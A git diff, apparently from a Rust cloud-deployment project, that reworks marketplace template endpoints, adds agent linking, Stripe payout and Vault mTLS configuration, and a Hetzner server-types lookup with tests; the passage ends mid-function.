diff --git a/src/cli/stacker_client.rs b/src/cli/stacker_client.rs
index 8359f8c6..40074b1f 100644
--- a/src/cli/stacker_client.rs
+++ b/src/cli/stacker_client.rs
@@ -25,7 +25,7 @@ pub const DEFAULT_STACKER_URL: &str = "https://stacker.try.direct";
 /// The Install Service Ansible role uses this to configure the agent's VAULT_ADDRESS
 /// environment variable on the remote server. Must be a publicly reachable address
 /// (not a Docker-internal IP) so deployed agents can connect to Vault.
-pub const DEFAULT_VAULT_URL: &str = "https://vault.try.direct";
+pub const DEFAULT_VAULT_URL: &str = "https://vault.try.direct:8443";
 
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 // Response types (matching Stacker server JSON envelope)
@@ -70,12 +70,25 @@ fn stacker_api_failure_with_message(
     debug: bool,
 ) -> String {
     if debug {
-        format!("Stacker server {action} failed ({status}): {body}")
-    } else {
-        format!(
-            "{summary} ({status}). Rerun with DEBUG=true or RUST_LOG=debug for endpoint details."
-        )
+        return format!("Stacker server {action} failed ({status}): {body}");
+    }
+    // For client errors (4xx), the body usually contains an actionable
+    // message — include it (truncated) so users don't have to rerun with
+    // DEBUG=true just to see what went wrong.
+    if (400..500).contains(&status) {
+        let trimmed = body.trim();
+        let detail = if trimmed.is_empty() {
+            "<empty response body>".to_string()
+        } else if trimmed.len() > 600 {
+            format!("{}...", &trimmed[..600])
+        } else {
+            trimmed.to_string()
+        };
+        return format!("{summary} ({status}): {detail}");
     }
+    format!(
+        "{summary} ({status}). Rerun with DEBUG=true or RUST_LOG=debug for endpoint details."
+    )
 }
 
 /// Project as returned by `/project` endpoints
@@ -218,20 +231,35 @@ pub struct AuthorizePublicKeyResponse {
 // Marketplace response types
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 
-/// Marketplace template summary as returned by `GET /marketplace`
+/// Marketplace template summary as returned by `GET /api/templates`
 #[derive(Debug, Clone, Serialize, Deserialize)]
 pub struct MarketplaceTemplate {
     pub id: Option<serde_json::Value>,
+    #[serde(alias = "code")]
     pub slug: String,
     pub name: String,
+    #[serde(default, alias = "short_description")]
     pub description: Option<String>,
+    #[serde(alias = "category")]
     pub category_code: Option<String>,
     #[serde(default)]
-    pub tags: Vec<String>,
+    pub tags: serde_json::Value,
     pub status: Option<String>,
+    pub required_plan_name: Option<String>,
+    pub price: Option<f64>,
+    pub billing_cycle: Option<String>,
+    pub is_from_marketplace: Option<bool>,
     pub stack_definition: Option<serde_json::Value>,
 }
 
+#[derive(Debug, Clone, Serialize, Deserialize)]
+pub struct MarketplaceInstallResponse {
+    pub project: ProjectInfo,
+    pub template: MarketplaceTemplate,
+    pub latest_version: serde_json::Value,
+    pub deployment_id: Option<i32>,
+}
+
 /// Marketplace template info as returned by `/api/templates/mine`
 #[derive(Debug, Clone, Serialize, Deserialize)]
 pub struct MarketplaceTemplateInfo {
@@ -1725,13 +1753,31 @@ impl StackerClient {
         category: Option<&str>,
         tag: Option<&str>,
     ) -> Result<Vec<MarketplaceTemplate>, CliError> {
-        let mut url = format!("{}/marketplace", self.base_url);
+        self.search_marketplace_templates(None, category, tag, None)
+            .await
+    }
+
+    /// Search approved marketplace templates.
+    pub async fn search_marketplace_templates(
+        &self,
+        query: Option<&str>,
+        category: Option<&str>,
+        tag: Option<&str>,
+        limit: Option<u32>,
+    ) -> Result<Vec<MarketplaceTemplate>, CliError> {
+        let mut url = format!("{}/api/v1/marketplace/applications", self.base_url);
         let mut params: Vec<String> = Vec::new();
+        if let Some(q) = query.map(str::trim).filter(|q| !q.is_empty()) {
+            params.push(format!("q={}", urlencoding::encode(q)));
+        }
         if let Some(c) = category {
-            params.push(format!("category={}", c));
+            params.push(format!("category={}", urlencoding::encode(c)));
         }
         if let Some(t) = tag {
-            params.push(format!("tag={}", t));
+            params.push(format!("tag={}", urlencoding::encode(t)));
+        }
+        if let Some(limit) = limit {
+            params.push(format!("limit={}", limit));
         }
         if !params.is_empty() {
             url = format!("{}?{}", url, params.join("&"));
@@ -1755,7 +1801,7 @@ impl StackerClient {
                 target: crate::cli::config_parser::DeployTarget::Cloud,
                 reason: stacker_api_failure_with_message(
                     "Marketplace listing failed",
-                    "GET /marketplace",
+                    "GET /api/v1/marketplace/applications",
                     status,
                     &body,
                     cli_debug_enabled(),
@@ -1777,7 +1823,7 @@ impl StackerClient {
         &self,
         slug: &str,
     ) -> Result<Option<MarketplaceTemplate>, CliError> {
-        let url = format!("{}/marketplace/{}", self.base_url, slug);
+        let url = format!("{}/api/templates/{}", self.base_url, slug);
         let resp = self
             .http
             .get(&url)
@@ -1800,7 +1846,7 @@ impl StackerClient {
                 target: crate::cli::config_parser::DeployTarget::Cloud,
                 reason: stacker_api_failure_with_message(
                     "Marketplace template fetch failed",
-                    &format!("GET /marketplace/{slug}"),
+                    &format!("GET /api/templates/{slug}"),
                     status,
                     &body,
                     cli_debug_enabled(),
@@ -1808,13 +1854,73 @@ impl StackerClient {
             });
         }
 
-        let api: ApiResponse<MarketplaceTemplate> =
+        let api: ApiResponse<serde_json::Value> =
             resp.json().await.map_err(|e| CliError::DeployFailed {
                 target: crate::cli::config_parser::DeployTarget::Cloud,
                 reason: format!("Invalid response from Stacker server: {}", e),
             })?;
 
-        Ok(api.item)
+        let Some(item) = api.item else {
+            return Ok(None);
+        };
+        let template = item.get("template").cloned().unwrap_or(item);
+        serde_json::from_value(template)
+            .map(Some)
+            .map_err(|e| CliError::DeployFailed {
+                target: crate::cli::config_parser::DeployTarget::Cloud,
+                reason: format!("Invalid marketplace template response: {}", e),
+            })
+    }
+
+    /// Create a Stacker project from a marketplace template.
+    pub async fn install_marketplace_template(
+        &self,
+        slug: &str,
+        name: Option<&str>,
+        deploy_form: Option<serde_json::Value>,
+        install_inputs: Option<serde_json::Map<String, serde_json::Value>>,
+    ) -> Result<MarketplaceInstallResponse, CliError> {
+        let url = format!("{}/api/templates/{}/install", self.base_url, slug);
+        let mut body = serde_json::json!({ "name": name, "deploy": deploy_form });
+        if let Some(install_inputs) = install_inputs {
+            if let Some(obj) = body.as_object_mut() {
+                obj.insert(
+                    "install_inputs".to_string(),
+                    serde_json::Value::Object(install_inputs),
+                );
+            }
+        }
+        let resp = self
+            .http
+            .post(&url)
+            .bearer_auth(&self.token)
+            .json(&body)
+            .send()
+            .await
+            .map_err(|e| {
+                CliError::MarketplaceFailed(format!("Stacker server unreachable: {}", e))
+            })?;
+
+        if !resp.status().is_success() {
+            let status = resp.status().as_u16();
+            let body = resp.text().await.unwrap_or_default();
+            return Err(CliError::MarketplaceFailed(
+                stacker_api_failure_with_message(
+                    "Marketplace install failed",
+                    &format!("POST /api/templates/{slug}/install"),
+                    status,
+                    &body,
+                    cli_debug_enabled(),
+                ),
+            ));
+        }
+
+        let api: ApiResponse<MarketplaceInstallResponse> = resp.json().await.map_err(|e| {
+            CliError::MarketplaceFailed(format!("Invalid response from Stacker server: {}", e))
+        })?;
+
+        api.item
+            .ok_or_else(|| CliError::MarketplaceFailed("No install response returned".to_string()))
     }
 
     // ── Deploy ───────────────────────────────────────
@@ -2270,6 +2376,62 @@ impl StackerClient {
     /// Enqueue a command for the Status Panel agent on a deployment.
     ///
     /// `POST /api/v1/agent/commands/enqueue`
+    /// Link an agent to a deployment using the CLI's stored OAuth token.
+    ///
+    /// `POST /api/v1/agent/link`
+    ///
+    /// Returns `(agent_id, agent_token, deployment_hash)` — the credentials the
+    /// status-panel binary needs in its `.env` to start polling for commands.
+    pub async fn agent_link(
+        &self,
+        deployment_hash: &str,
+        server_fingerprint: serde_json::Value,
+    ) -> Result<(String, String, String), CliError> {
+        let url = format!("{}/api/v1/agent/link", self.base_url);
+
+        let body = serde_json::json!({
+            "session_token": self.token,
+            "deployment_id": deployment_hash,
+            "server_fingerprint": server_fingerprint,
+            "capabilities": ["status_panel", "compose_agent"],
+        });
+
+        let resp = self
+            .http
+            .post(&url)
+            .bearer_auth(&self.token)
+            .json(&body)
+            .send()
+            .await
+            .map_err(|e| CliError::ConfigValidation(format!("Stacker server unreachable: {}", e)))?;
+
+        if !resp.status().is_success() {
+            let status = resp.status().as_u16();
+            let body = resp.text().await.unwrap_or_default();
+            return Err(CliError::ConfigValidation(stacker_api_failure_with_message(
+                "Agent link failed",
+                "POST /api/v1/agent/link",
+                status,
+                &body,
+                cli_debug_enabled(),
+            )));
+        }
+
+        #[derive(serde::Deserialize)]
+        struct LinkResp {
+            agent_id: String,
+            agent_token: String,
+            deployment_hash: String,
+        }
+
+        let link: LinkResp = resp
+            .json()
+            .await
+            .map_err(|e| CliError::ConfigValidation(format!("Invalid link response: {}", e)))?;
+
+        Ok((link.agent_id, link.agent_token, link.deployment_hash))
+    }
+
     pub async fn agent_enqueue(
         &self,
         request: &AgentEnqueueRequest,
@@ -3774,6 +3936,40 @@ pub fn build_deploy_form(config: &StackerConfig) -> serde_json::Value {
         }
     });
 
+    // Surface saved-credential and saved-server selectors so the Stacker API
+    // can resolve them server-side. Without these, install/catalog deploys
+    // would fail credential validation even when the user has registered the
+    // cloud and reused the same names in stacker.yml.
+    if let Some(cloud_cfg) = config.deploy.cloud.as_ref() {
+        if let Some(form_cloud) = form.get_mut("cloud").and_then(|v| v.as_object_mut()) {
+            if let Some(key) = cloud_cfg.key.as_deref().map(str::trim).filter(|v| !v.is_empty()) {
+                form_cloud.insert(
+                    "name".to_string(),
+                    serde_json::Value::String(key.to_string()),
+                );
+                // Don't re-insert a duplicate credential when the user is
+                // reusing a saved one.
+                form_cloud.insert(
+                    "save_token".to_string(),
+                    serde_json::Value::Bool(false),
+                );
+            }
+        }
+        if let Some(server_name) = cloud_cfg
+            .server
+            .as_deref()
+            .map(str::trim)
+            .filter(|v| !v.is_empty())
+        {
+            if let Some(form_server) = form.get_mut("server").and_then(|v| v.as_object_mut()) {
+                form_server.insert(
+                    "name".to_string(),
+                    serde_json::Value::String(server_name.to_string()),
+                );
+            }
+        }
+    }
+
     // Inject Docker registry credentials if provided (env vars or stacker.yml).
     // These flow through the Stacker server to the Install Service, which passes
     // them as Ansible extra vars (docker_registry, docker_username, docker_password).
@@ -3852,6 +4048,23 @@ pub fn build_deploy_form(config: &StackerConfig) -> serde_json::Value {
         }
     }
 
+    if let Some(cloud_cfg) = config.deploy.cloud.as_ref() {
+        if !cloud_cfg.public_ports.is_empty() {
+            if let Some(obj) = form.as_object_mut() {
+                obj.insert(
+                    "public_ports".to_string(),
+                    serde_json::Value::Array(
+                        cloud_cfg
+                            .public_ports
+                            .iter()
+                            .map(|p| serde_json::Value::String(p.clone()))
+                            .collect(),
+                    ),
+                );
+            }
+        }
+    }
+
     form
 }
 
@@ -3994,7 +4207,7 @@ mod tests {
     use wiremock::{Mock, MockServer, ResponseTemplate};
 
     #[test]
-    fn stacker_api_failure_hides_endpoint_and_body_without_debug() {
+    fn stacker_api_failure_hides_endpoint_but_surfaces_body_for_4xx() {
         let message = stacker_api_failure_with_debug(
             "GET /cloud",
             400,
@@ -4002,10 +4215,26 @@ mod tests {
             false,
         );
 
+        // 4xx body is intentionally surfaced inline so users don't have to
+        // rerun with DEBUG=true to see the actual server message. The
+        // internal endpoint path stays hidden.
         assert!(message.contains("Stacker server request failed (400)"));
         assert!(!message.contains("GET /cloud"));
-        assert!(!message.contains("401 Unauthorized"));
-        assert!(!message.contains(r#"{"message""#));
+        assert!(message.contains("401 Unauthorized"));
+    }
+
+    #[test]
+    fn stacker_api_failure_hides_endpoint_and_body_for_5xx_without_debug() {
+        let message = stacker_api_failure_with_debug(
+            "GET /cloud",
+            502,
+            "upstream timeout",
+            false,
+        );
+
+        assert!(message.contains("Stacker server request failed (502)"));
+        assert!(!message.contains("GET /cloud"));
+        assert!(!message.contains("upstream timeout"));
         assert!(message.contains("DEBUG=true"));
         assert!(message.contains("RUST_LOG=debug"));
     }
@@ -4040,6 +4269,7 @@ mod tests {
                 ssh_key: None,
                 key: None,
                 server: None,
+                public_ports: Vec::new(),
             })
             .build()
             .unwrap();
@@ -4205,6 +4435,7 @@ mod tests {
                 ssh_key: None,
                 key: None,
                 server: None,
+                public_ports: Vec::new(),
             })
             .project_identity("optimumcode")
             .build()
@@ -4229,6 +4460,7 @@ mod tests {
                 ssh_key: None,
                 key: None,
                 server: None,
+                public_ports: Vec::new(),
             })
             .monitoring(crate::cli::config_parser::MonitoringConfig {
                 status_panel: true,
@@ -4291,6 +4523,7 @@ mod tests {
                 ssh_key: None,
                 key: None,
                 server: None,
+                public_ports: Vec::new(),
             })
             .proxy(crate::cli::config_parser::ProxyConfig {
                 proxy_type: crate::cli::config_parser::ProxyType::Nginx,
@@ -4470,7 +4703,7 @@ mod tests {
         };
         let statuspanel_service = ServiceDefinition {
             name: "statuspanel".to_string(),
-            image: "ghcr.io/trydirect/statuspanel:latest".to_string(),
+            image: "trydirect/status:latest".to_string(),
             ports: vec!["5000:5000".to_string()],
             environment: std::collections::HashMap::new(),
             volumes: vec![],
diff --git a/src/configuration.rs b/src/configuration.rs
index afb96a78..1544ba93 100644
--- a/src/configuration.rs
+++ b/src/configuration.rs
@@ -32,6 +32,8 @@ pub struct Settings {
     pub deployment: DeploymentSettings,
     #[serde(default)]
     pub marketplace_assets: MarketplaceAssetSettings,
+    #[serde(default)]
+    pub payouts: PayoutSettings,
 }
 
 impl std::fmt::Debug for Settings {
@@ -63,6 +65,7 @@ impl std::fmt::Debug for Settings {
             .field("connectors", &self.connectors)
             .field("deployment", &self.deployment)
             .field("marketplace_assets", &self.marketplace_assets)
+            .field("payouts", &self.payouts)
             .finish()
     }
 }
@@ -87,6 +90,7 @@ impl Default for Settings {
             connectors: ConnectorConfig::default(),
             deployment: DeploymentSettings::default(),
             marketplace_assets: MarketplaceAssetSettings::default(),
+            payouts: PayoutSettings::default(),
         }
     }
 }
@@ -202,6 +206,119 @@ impl Default for DeploymentSettings {
     }
 }
 
+#[derive(serde::Deserialize, Clone)]
+pub struct PayoutSettings {
+    #[serde(default = "PayoutSettings::default_provider")]
+    pub provider: String,
+    #[serde(default)]
+    pub stripe_secret_key: String,
+    #[serde(default)]
+    pub stripe_webhook_secret: String,
+    #[serde(default = "PayoutSettings::default_stripe_api_base_url")]
+    pub stripe_api_base_url: String,
+    #[serde(default = "PayoutSettings::default_onboarding_return_url")]
+    pub onboarding_return_url: String,
+    #[serde(default = "PayoutSettings::default_onboarding_refresh_url")]
+    pub onboarding_refresh_url: String,
+    #[serde(default = "PayoutSettings::default_timeout_secs")]
+    pub timeout_secs: u64,
+}
+
+impl std::fmt::Debug for PayoutSettings {
+    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
+        f.debug_struct("PayoutSettings")
+            .field("provider", &self.provider)
+            .field("stripe_secret_key", &"[REDACTED]")
+            .field("stripe_webhook_secret", &"[REDACTED]")
+            .field("stripe_api_base_url", &self.stripe_api_base_url)
+            .field("onboarding_return_url", &self.onboarding_return_url)
+            .field("onboarding_refresh_url", &self.onboarding_refresh_url)
+            .field("timeout_secs", &self.timeout_secs)
+            .finish()
+    }
+}
+
+impl Default for PayoutSettings {
+    fn default() -> Self {
+        Self {
+            provider: Self::default_provider(),
+            stripe_secret_key: String::new(),
+            stripe_webhook_secret: String::new(),
+            stripe_api_base_url: Self::default_stripe_api_base_url(),
+            onboarding_return_url: Self::default_onboarding_return_url(),
+            onboarding_refresh_url: Self::default_onboarding_refresh_url(),
+            timeout_secs: Self::default_timeout_secs(),
+        }
+    }
+}
+
+impl PayoutSettings {
+    fn default_provider() -> String {
+        std::env::var("STACKER_PAYOUT_PROVIDER").unwrap_or_else(|_| "mock".to_string())
+    }
+
+    fn default_stripe_api_base_url() -> String {
+        std::env::var("STRIPE_API_BASE_URL")
+            .unwrap_or_else(|_| "https://api.stripe.com".to_string())
+    }
+
+    fn default_onboarding_return_url() -> String {
+        std::env::var("PAYOUT_ONBOARDING_RETURN_URL").unwrap_or_else(|_| {
+            let public_url = std::env::var("STACKER_PUBLIC_URL")
+                .unwrap_or_else(|_| "http://localhost:8000".to_string());
+            format!(
+                "{}/marketplace/vendor/onboarding/return",
+                public_url.trim_end_matches('/')
+            )
+        })
+    }
+
+    fn default_onboarding_refresh_url() -> String {
+        std::env::var("PAYOUT_ONBOARDING_REFRESH_URL").unwrap_or_else(|_| {
+            let public_url = std::env::var("STACKER_PUBLIC_URL")
+                .unwrap_or_else(|_| "http://localhost:8000".to_string());
+            format!(
+                "{}/marketplace/vendor/onboarding/refresh",
+                public_url.trim_end_matches('/')
+            )
+        })
+    }
+
+    const fn default_timeout_secs() -> u64 {
+        15
+    }
+
+    pub fn overlay_env(self) -> Self {
+        let provider = std::env::var("STACKER_PAYOUT_PROVIDER").unwrap_or(self.provider);
+        let stripe_secret_key = std::env::var("STRIPE_SECRET_KEY")
+            .or_else(|_| std::env::var("PAYOUT_STRIPE_SECRET_KEY"))
+            .unwrap_or(self.stripe_secret_key);
+        let stripe_webhook_secret = std::env::var("STRIPE_WEBHOOK_SECRET")
+            .or_else(|_| std::env::var("PAYOUT_STRIPE_WEBHOOK_SECRET"))
+            .unwrap_or(self.stripe_webhook_secret);
+        let stripe_api_base_url =
+            std::env::var("STRIPE_API_BASE_URL").unwrap_or(self.stripe_api_base_url);
+        let onboarding_return_url =
+            std::env::var("PAYOUT_ONBOARDING_RETURN_URL").unwrap_or(self.onboarding_return_url);
+        let onboarding_refresh_url =
+            std::env::var("PAYOUT_ONBOARDING_REFRESH_URL").unwrap_or(self.onboarding_refresh_url);
+        let timeout_secs = std::env::var("PAYOUT_PROVIDER_TIMEOUT_SECS")
+            .ok()
+            .and_then(|value| value.parse::<u64>().ok())
+            .unwrap_or(self.timeout_secs);
+
+        Self {
+            provider,
+            stripe_secret_key,
+            stripe_webhook_secret,
+            stripe_api_base_url,
+            onboarding_return_url,
+            onboarding_refresh_url,
+            timeout_secs,
+        }
+    }
+}
+
 #[derive(serde::Deserialize, Clone)]
 pub struct MarketplaceAssetSettings {
     #[serde(default)]
@@ -357,6 +474,14 @@ pub struct VaultSettings {
     pub api_prefix: String,
     #[serde(default)]
     pub ssh_key_path_prefix: Option<String>,
+    /// Client certificate PEM for mTLS (inline) or file path.
+    /// Read from VAULT_CLIENT_CERT env var.
+    #[serde(default)]
+    pub client_cert: Option<String>,
+    /// Client key PEM for mTLS (inline) or file path.
+    /// Read from VAULT_CLIENT_KEY env var.
+    #[serde(default)]
+    pub client_key: Option<String>,
 }
 
 impl std::fmt::Debug for VaultSettings {
@@ -367,6 +492,8 @@ impl std::fmt::Debug for VaultSettings {
             .field("agent_path_prefix", &self.agent_path_prefix)
             .field("api_prefix", &self.api_prefix)
             .field("ssh_key_path_prefix", &self.ssh_key_path_prefix)
+            .field("client_cert", &self.client_cert.as_ref().map(|_| "[REDACTED]"))
+            .field("client_key", &self.client_key.as_ref().map(|_| "[REDACTED]"))
             .finish()
     }
 }
@@ -379,6 +506,8 @@ impl Default for VaultSettings {
             agent_path_prefix: "agent".to_string(),
             api_prefix: Self::default_api_prefix(),
             ssh_key_path_prefix: Some("users".to_string()),
+            client_cert: None,
+            client_key: None,
         }
     }
 }
@@ -400,6 +529,8 @@ impl VaultSettings {
             self.ssh_key_path_prefix
                 .unwrap_or_else(|| "users".to_string()),
         );
+        let client_cert = std::env::var("VAULT_CLIENT_CERT").ok().or(self.client_cert);
+        let client_key = std::env::var("VAULT_CLIENT_KEY").ok().or(self.client_key);
 
         VaultSettings {
             address,
@@ -407,6 +538,8 @@ impl VaultSettings {
             agent_path_prefix,
             api_prefix,
             ssh_key_path_prefix: Some(ssh_key_path_prefix),
+            client_cert,
+            client_key,
         }
     }
 }
@@ -471,6 +604,7 @@ pub fn get_configuration() -> Result<Settings, config::ConfigError> {
 
     // Overlay Vault settings with environment variables if present
     config.vault = config.vault.overlay_env();
+    config.payouts = config.payouts.overlay_env();
 
     if let Ok(timeout) = std::env::var("STACKER_AGENT_POLL_TIMEOUT_SECS") {
         if let Ok(parsed) = timeout.parse::<u64>() {
diff --git a/src/connectors/hetzner.rs b/src/connectors/hetzner.rs
index 863d387b..6941b6e3 100644
--- a/src/connectors/hetzner.rs
+++ b/src/connectors/hetzner.rs
@@ -32,6 +32,12 @@ pub trait HetznerCloudConnector: Send + Sync {
         target: HetznerSnapshotTarget,
         description: &str,
     ) -> Result<HetznerSnapshot, ConnectorError>;
+
+    async fn list_server_types(
+        &self,
+        token: &str,
+        location: Option<&str>,
+    ) -> Result<Vec<String>, ConnectorError>;
 }
 
 #[derive(Clone)]
@@ -141,6 +147,40 @@ impl HetznerCloudConnector for HetznerCloudClient {
             image_id,
         })
     }
+
+    async fn list_server_types(
+        &self,
+        token: &str,
+        location: Option<&str>,
+    ) -> Result<Vec<String>, ConnectorError> {
+        let url = match location {
+            Some(loc) => format!("{}/server_types?location={}", self.base_url, loc),
+            None => format!("{}/server_types", self.base_url),
+        };
+
+        let response = self
+            .http_client
+            .get(&url)
+            .bearer_auth(token)
+            .send()
+            .await
+            .map_err(ConnectorError::from)?;
+
+        let status = response.status();
+        if !status.is_success() {
+            return Err(status_to_error(
+                status,
+                "Hetzner server types lookup failed",
+            ));
+        }
+
+        let body: HetznerServerTypesResponse = response
+            .json()
+            .await
+            .map_err(|err| ConnectorError::InvalidResponse(err.to_string()))?;
+
+        Ok(body.server_types.into_iter().map(|t| t.name).collect())
+    }
 }
 
 fn status_to_error(status: reqwest::StatusCode, message: &str) -> ConnectorError {
@@ -225,6 +265,17 @@ struct HetznerActionResource {
     resource_type: String,
 }
 
+#[derive(Debug, Deserialize)]
+struct HetznerServerTypesResponse {
+    #[serde(default)]
+    server_types: Vec<HetznerServerType>,
+}
+
+#[derive(Debug, Deserialize)]
+struct HetznerServerType {
+    name: String,
+}
+
 #[cfg(test)]
 mod tests {
     use super::*;
@@ -308,4 +359,41 @@ mod tests {
         assert_eq!(snapshot.action_id, 778);
         assert_eq!(snapshot.image_id, None);
     }
+
+    #[tokio::test]
+    async fn list_server_types_returns_names() {
+        let api = MockServer::start().await;
+        Mock::given(method("GET"))
+            .and(path("/server_types"))
+            .and(header("authorization", "Bearer test-token"))
+            .respond_with(ResponseTemplate::new(200).set_body_json(json!({
+                "server_types": [
+                    {"id": 1, "name": "cx22"},
+                    {"id": 2, "name": "cx32"},
+                    {"id": 3, "name": "cx42"}
+                ]
+            })))
+            .mount(&api)
+            .await;
+
+        let client = HetznerCloudClient::new(api.uri()).unwrap();
+        let types = client.list_server_types("test-token", None).await.unwrap();
+
+        assert_eq!(types, vec!["cx22", "cx32", "cx42"]);
+    }
+
+    #[tokio::test]
+    async fn list_server_types_returns_unauthorized_on_401() {
+        let api = MockServer::start().await;
+        Mock::given(method("GET"))
+            .and(path("/server_types"))
+            .respond_with(ResponseTemplate::new(401))
+            .mount(&api)
+            .await;
+
+        let client = HetznerCloudClient::new(api.uri()).unwrap();
+        let result = client.list_server_types("bad-token", None).await;
+
+        assert!(matches!(result, Err(ConnectorError::Unauthorized(_))));
+    }
 }
diff --git a/src/connectors/install_service/client.rs b/src/connectors/install_service/client.rs
index ac474ce5..10365d17 100644
--- a/src/connectors/install_service/client.rs
+++ b/src/connectors/install_service/client.rs
@@ -1,6 +1,6 @@
 use super::InstallServiceConnector;
 use crate::forms::cloud_firewall;
-use crate::forms::project::{RegistryForm, Stack};
+use crate::forms::project::{RegistryForm, Stack, Var};
 use crate::forms::{CloudFirewallOperationMessage, ConfigureCloudFirewallResponse};
 use crate::helpers::{compressor::compress, MqManager};
 use crate::models;
@@ -30,6 +30,18 @@ fn normalize_server_region_for_installer(provider: &str, server: &mut crate::for
     server.region = Some(location.to_string());
 }
 
+fn stack_var_string(vars: &Option<Vec<Var>>, key: &str) -> Option<String> {
+    vars.as_ref()?.iter().find_map(|var| {
+        if var.key.as_deref() == Some(key) {
+            var.value
+                .as_ref()
+                .and_then(|value| value.as_str().map(ToOwned::to_owned))
+        } else {
+            None
+        }
+    })
+}
+
 #[cfg(test)]
 mod tests {
     use super::normalize_server_region_for_installer;
@@ -123,6 +135,9 @@ impl InstallServiceConnector for InstallServiceClient {
         }
         payload.cloud = Some(cloud_creds.into());
         payload.stack = form_stack.clone().into();
+        if payload.common_domain.is_none() {
+            payload.common_domain = stack_var_string(&form_stack.vars, "commonDomain");
+        }
         payload.user_token = Some(user_id);
         payload.user_email = Some(user_email);
         payload.docker_compose = Some(compress(fc.as_str()));
diff --git a/src/connectors/user_service/client.rs b/src/connectors/user_service/client.rs
index df6d55bd..adf54387 100644
--- a/src/connectors/user_service/client.rs
+++ b/src/connectors/user_service/client.rs
@@ -11,6 +11,20 @@ use super::types::{
 };
 use super::utils::is_plan_higher_tier;
 
+/// Parse the `/oauth_server/api/me` response body.
+/// The endpoint returns `{"user": {...}}`
+/// at the top level — both shapes are accepted for forward/backward compatibility.
+pub(super) fn parse_user_profile_response(text: &str) -> Result<UserProfile, serde_json::Error> {
+    #[derive(Deserialize)]
+    struct Wrapper {
+        user: UserProfile,
+    }
+    if let Ok(wrapper) = serde_json::from_str::<Wrapper>(text) {
+        return Ok(wrapper.user);
+    }
+    serde_json::from_str::<UserProfile>(text)
+}
+
 /// HTTP-based User Service client
 pub struct UserServiceClient {
     pub(crate) base_url: String,
@@ -25,6 +39,7 @@ impl UserServiceClient {
         let timeout = std::time::Duration::from_secs(config.timeout_secs);
         let http_client = reqwest::Client::builder()
             .timeout(timeout)
+            .pool_max_idle_per_host(0)
             .build()
             .expect("Failed to create HTTP client");
 
@@ -241,17 +256,6 @@ impl UserServiceConnector for UserServiceClient {
             req = req.header("Authorization", auth);
         }
 
-        #[derive(serde::Deserialize)]
-        struct UserMeResponse {
-            #[serde(default)]
-            plan: Option<PlanInfo>,
-        }
-
-        #[derive(serde::Deserialize)]
-        struct PlanInfo {
-            name: Option<String>,
-        }
-
         let resp = req.send().instrument(span.clone()).await.map_err(|e| {
             tracing::error!("user_has_plan error: {:?}", e);
             ConnectorError::HttpError(format!("Failed to check plan: {}", e))
@@ -263,12 +267,16 @@ impl UserServiceConnector for UserServiceClient {
                     .text()
                     .await
                     .map_err(|e| ConnectorError::HttpError(e.to_string()))?;
-                serde_json::from_str::<UserMeResponse>(&text)
-                    .map(|response| {
-                        let user_plan = response.plan.and_then(|p| p.name).unwrap_or_default();
-                        is_plan_higher_tier(&user_plan, required_plan_name)
-                    })
-                    .map_err(|_| ConnectorError::InvalidResponse(text))
+
+                let user_plan = parse_plan_from_me_response(&text).unwrap_or_default();
+                let result = is_plan_higher_tier(&user_plan, required_plan_name);
+                tracing::info!(
+                    "user_has_plan: extracted plan_name={:?}, required={}, result={}",
+                    user_plan,
+                    required_plan_name,
+                    result
+                );
+                Ok(result)
             }
             401 | 403 => {
                 tracing::debug!(parent: &span, "User not authenticated or authorized");
@@ -298,13 +306,19 @@ impl UserServiceConnector for UserServiceClient {
 
         #[derive(serde::Deserialize)]
         struct PlanInfoResponse {
+            #[serde(default)]
+            user: Option<UserPlanPayload>,
+        }
+
+        #[derive(serde::Deserialize, Default)]
+        struct UserPlanPayload {
+            #[serde(alias = "_id")]
+            user_id: Option<String>,
             #[serde(default)]
             plan: Option<String>,
             #[serde(default)]
             plan_name: Option<String>,
             #[serde(default)]
-            user_id: Option<String>,
-            #[serde(default)]
             description: Option<String>,
             #[serde(default)]
             active: Option<bool>,
@@ -325,14 +339,17 @@ impl UserServiceConnector for UserServiceClient {
             .await
             .map_err(|e| ConnectorError::HttpError(e.to_string()))?;
         serde_json::from_str::<PlanInfoResponse>(&text)
-            .map(|info| UserPlanInfo {
-                user_id: info.user_id.unwrap_or_else(|| user_id.to_string()),
-                plan_name: info.plan.or(info.plan_name).unwrap_or_default(),
-                plan_description: info.description,
-                tier: None,
-                active: info.active.unwrap_or(true),
-                started_at: None,
-                expires_at: None,
+            .map(|info| {
+                let user = info.user.unwrap_or_default();
+                UserPlanInfo {
+                    user_id: user.user_id.unwrap_or_else(|| user_id.to_string()),
+                    plan_name: user.plan.or(user.plan_name).unwrap_or_default(),
+                    plan_description: user.description,
+                    tier: None,
+                    active: user.active.unwrap_or(true),
+                    started_at: None,
+                    expires_at: None,
+                }
             })
             .map_err(|_| ConnectorError::InvalidResponse(text))
     }
@@ -403,7 +420,7 @@ impl UserServiceConnector for UserServiceClient {
             .text()
             .await
             .map_err(|e| ConnectorError::HttpError(e.to_string()))?;
-        serde_json::from_str::<UserProfile>(&text).map_err(|e| {
+        parse_user_profile_response(&text).map_err(|e| {
             tracing::error!("Failed to parse user profile: {:?}", e);
             ConnectorError::InvalidResponse(text)
         })
@@ -597,4 +614,53 @@ impl UserServiceConnector for UserServiceClient {
             }
         }
     }
+
+    async fn search_marketplace_templates(
+        &self,
+        user_token: &str,
+        query: Option<&str>,
+        category: Option<&str>,
+        is_marketplace: Option<bool>,
+        page: Option<u32>,
+        max_results: Option<u32>,
+    ) -> Result<Vec<serde_json::Value>, ConnectorError> {
+        UserServiceClient::search_marketplace_templates(
+            self,
+            user_token,
+            query,
+            category,
+            is_marketplace,
+            page,
+            max_results,
+        )
+        .await
+    }
+}
+
+/// Parse the `/oauth_server/api/me` response text and extract the user's plan name.
+/// Accepts both `{"user": {"plan": {"name": "..."}}}` (service-account token)
+/// and `{"plan": {"name": "..."}}` (user token) response shapes.
+fn parse_plan_from_me_response(text: &str) -> Option<String> {
+    #[derive(serde::Deserialize)]
+    struct PlanInfo {
+        name: Option<String>,
+    }
+    #[derive(serde::Deserialize)]
+    struct UserInfo {
+        #[serde(default)]
+        plan: Option<PlanInfo>,
+    }
+    #[derive(serde::Deserialize)]
+    struct Wrapper {
+        user: UserInfo,
+    }
+
+    if let Ok(wrapper) = serde_json::from_str::<Wrapper>(text) {
